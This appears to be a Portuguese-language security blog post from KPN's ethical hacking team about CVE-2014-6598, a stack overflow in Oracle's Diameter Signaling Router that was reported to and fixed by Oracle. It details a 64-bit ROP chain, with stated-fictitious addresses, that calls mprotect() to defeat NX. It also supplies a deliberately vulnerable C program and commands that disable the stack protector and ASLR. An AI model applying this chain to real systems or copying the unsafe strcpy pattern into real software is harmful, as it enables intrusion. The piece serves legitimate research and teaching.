
Análise da vulnerabilidade de estouro de buffer na pilha do Oracle DSR (DRA) CVE-2014-6598
A KPN é uma operadora de telecomunicações localizada nos Países Baixos. O CISO REDteam foi criado em 2013 e é a equipe de hacking ético da KPN. Essa equipe está envolvida em testes de segurança de aplicações e serviços da KPN para garantir que os dados dos nossos clientes estejam seguros contra acesso não autorizado, modificação e perda de dados.
A KPN opera a maior rede móvel dos Países Baixos. Um dos componentes da rede 4G que a KPN opera é o aplicativo Diameter Routing Agent chamado Oracle Diameter Signalling Router (DSR). O Diameter Routing Agent (DRA) é um elemento funcional em uma rede 3G ou 4G que fornece recursos de roteamento em tempo real para garantir que as mensagens sejam roteadas entre os elementos corretos em uma rede. O 3GPP introduziu o DRA para lidar com o aumento do volume de tráfego de sinalização Diameter e a crescente complexidade das redes 4G LTE. Ele pode ser implantado como um roteador central que roteia o tráfego entre elementos Diameter na rede doméstica, ou como um roteador gateway que roteia o tráfego entre elementos Diameter na rede doméstica e de roaming. O 3GPP especifica o uso do protocolo Diameter para várias interfaces, incluindo uma (S6a) que é usada para comunicação MME-HSS, bem como para roaming.
A imagem abaixo mostra uma implantação típica de DRA em um ambiente LTE. Todas as interfaces entre os elementos são interfaces S6a.

O Oracle DSR é um cluster de máquinas rodando em CentOS Linux que executa a função DRA. Ele geralmente está conectado a diferentes MMEs e a um HSS na rede LTE doméstica, mas também pode estar conectado a parceiros de roaming através da rede IPX.
Usando a plataforma Codenomicon DEFENSICS, a equipe REDteam da KPN descobriu duas vulnerabilidades principais no aplicativo Oracle DSR versão 5.0:
A primeira vulnerabilidade permite que um atacante remoto não autenticado conectado à rede IPX comprometa completamente o DRA e seus componentes. Quando um atacante obtém controle total sobre o sistema DRA, ele pode monitorar todo o tráfego roteado através do DRA e possivelmente se infiltrar ainda mais na rede central da operadora de telecomunicações.
A Oracle levou as vulnerabilidades reportadas a sério, e a equipe REDteam da KPN trabalhou em estreita colaboração com a Oracle para resolver esses problemas, o que também foi declarado no aviso aos clientes:
"Testes de segurança recentes identificaram duas vulnerabilidades de segurança em versões do produto Oracle Diameter Signaling Router. Para proteger sua rede contra possíveis explorações dessas vulnerabilidades, a Oracle recomenda fortemente que você aplique as ações descritas neste documento sem demora. A Oracle reconhece Frank Cozijnsen, Ethical Hacker, KPN CISO REDteam pela descoberta da vulnerabilidade Diameter Stack descrita abaixo. Um agradecimento especial é estendido à KPN pelo seu apoio durante a fase de análise da Oracle. Nota: essas descobertas serão divulgadas publicamente no próximo CPU da Oracle, programado para 20 de janeiro de 2015."
Os problemas encontrados representam uma ameaça séria para as operadoras de telecomunicações que usam o DSR da Oracle e podem ser explorados por qualquer atacante com acesso a uma conexão IPX.
A equipe REDteam da KPN testa produtos e serviços antes de serem implantados em redes de produção. Como parte de um projeto de atualização, o Oracle DSR versão 5.0 foi testado sob uma perspectiva de segurança pela equipe REDteam da KPN. O teste de segurança incluiu fuzzing da implementação DIAMETER do Oracle DSR usando o Codenomicon Diameter Server test Suite. A mensagem Capabilities Exchange Request (CER), usada para verificar as capacidades DIAMETER do servidor receptor, foi usada como alvo inicial de fuzzing. Essa mensagem foi escolhida porque não é encaminhada para outros sistemas, como o HSS, mas é tratada pelo próprio DSR. Durante o fuzzing, várias falhas do processo "dsr" foram notadas nas blades Message Processor (MP) do DSR.
Usando o GDB com o plugin PEDA, a falha foi analisada e, eventualmente, um exploit remoto foi escrito. A falha foi causada por uma escrita fora dos limites além do final do buffer localizado na stack. A escrita fora dos limites corrompeu a stack com dados controlados pelo usuário. Além disso, o ponteiro de retorno salvo, que é o endereço para onde o programa retorna após retornar de uma função, foi sobrescrito. Quando esse ponteiro de retorno pode ser controlado pelo atacante, isso pode levar à execução arbitrária de código.

A principal razão para escrever este blog é explicar como a equipe REDteam da KPN conseguiu passar pelas proteções ASLR e NX implementadas e conseguiu criar um exploit funcional de execução remota de código. Normalmente, os mecanismos de proteção ASLR e NX não são um grande obstáculo para atacantes, mas o DSR roda em CentOS de 64 bits. Não há muita documentação prática sobre Return Oriented Programming (ROP) em sistemas Linux de 64 bits protegidos por ASLR.
Durante a depuração, foi notado que a biblioteca libc estava sempre mapeada no mesmo endereço no processo dsr, e o endereço não mudava após uma reinicialização. Outras bibliotecas eram mapeadas em endereços de memória aleatórios no processo dsr. Saber o endereço de memória da libc permite usar a libc como fonte para os gadgets ROP. Outra opção é usar o próprio binário dsr como fonte para gadgets ROP, mas a quantidade de gadgets úteis nesse arquivo é limitada.
Para contornar a proteção NX, a função mprotect() pode ser usada para tornar a stack executável e poder executar nosso shellcode.
A função mprotect() precisa dos seguintes valores nos registradores correspondentes:
Se todos esses registradores estiverem definidos, mprotect() pode ser chamado no offset 0xe54b0 na versão alvo da biblioteca libc.
A parte seguinte do documento pressupõe conhecimento sobre ROP e como ele funciona. Há um ótimo exemplo de criação de uma cadeia ROP em um sistema Linux de 32 bits em shell-storm.org. Devido ao ASLR "parcial", a localização da própria stack não era previsível. Gadgets ROP foram usados para armazenar o valor do ponteiro de stack (%RSP) no registrador %RSI.
O registrador %RDI deve conter o offset de memória da região de memória que precisa ser tornada executável.
O ponteiro de stack pode ser usado para determinar esse endereço de memória, e ele precisa ser definido para um limite de página de memória. A instrução XOR pode ser usada para zerar os últimos 4 bytes desse endereço para corresponder a um limite de página. Só havia um gadget disponível para fazer isso no registrador %RAX, então o primeiro passo é colocar o valor do ponteiro de stack no registrador %RAX.
A equipe REDteam da KPN não quer divulgar muitas informações sobre o exploit real ainda, então os endereços usados abaixo são fictícios. No entanto, eles dão uma ideia da sequência em que as instruções precisam ser executadas.
Primeiro, o ponteiro de stack é armazenado em um registrador. O registrador %RSI é escolhido porque não há gadgets disponíveis no binário libc para armazenar o valor diretamente no registrador %RAX.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
A primeira instrução executada é "pop rcx", que carrega 0x00000039c2222222 no registrador %RCX. A instrução pop também move o ponteiro de stack para o local onde 0x00000039c3333333 está armazenado. Este será o endereço do próximo gadget ROP: "push rsp ; and al, 8 ; call rcx". A instrução push rsp empurra o ponteiro de stack para a stack e, depois disso, o endereço que foi previamente armazenado no registrador %RCX será chamado. Isso carrega dois valores da stack nos registradores %RDX e %RSI, respectivamente, e retorna para o endereço 0x00000039c4444444. O registrador %RSI agora contém o ponteiro de stack previamente armazenado. O gadget ROP localizado no endereço 0x00000039c4444444 copia o valor armazenado em %RSI para %RAX.
O ponteiro para nossa stack no registrador %RAX agora pode ser usado para alterar as permissões do mapa de memória na stack. Para zerar os últimos 4 bytes, usamos uma instrução XOR que se aplica apenas aos últimos 4 bytes do registrador %RAX:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
O próximo passo é colocar o valor de %RAX em %RDI:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
O registrador %RDI agora contém um offset de memória na stack que está limitado a um limite de página.
O registrador %RSI deve conter o tamanho da região de memória que precisa ser alterada.
Isso é fácil, basta colocar o tamanho em %RSI.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
O registrador %RDX deve conter o bit de permissões, no nosso caso 0x7 -> permissões rwx.
Este passo é semelhante ao anterior. O valor será retirado da stack:
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
Todos os registradores agora têm o valor correto para tornar esta parte da stack executável.
Chamar mprotect()
O endereço da instrução mprotect() deve ser incluído no payload. Para este exemplo, a libc está carregada no endereço 0x0000003888c00000, então o payload que tornará a stack executável fica assim:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
É só isso. Para finalizar o exploit, você ainda precisa garantir que seu instruction pointer aponte para seu shellcode, mas isso é fácil após a explicação fornecida.
Construir uma cadeia ROP e testar como as coisas funcionam pode ser facilmente feito em uma máquina Linux de 64 bits. Para tentar você mesmo, você pode escrever um programa C vulnerável:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
Compile este programa sem a Proteção contra Stack Smashing (SSP):
$ gcc -fno-stack-protector -o exploitme exploitme.c
Para testar, certifique-se de desativar temporariamente o ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Agora inicie seu GDB e comece a hackear..
No GDB, execute este arquivo usando o seguinte argumento:
run `perl -e'print "\x41" x500'`
O plugin PEDA para GDB torna a vida muito mais fácil e ajudará a encontrar seus gadgets ROP.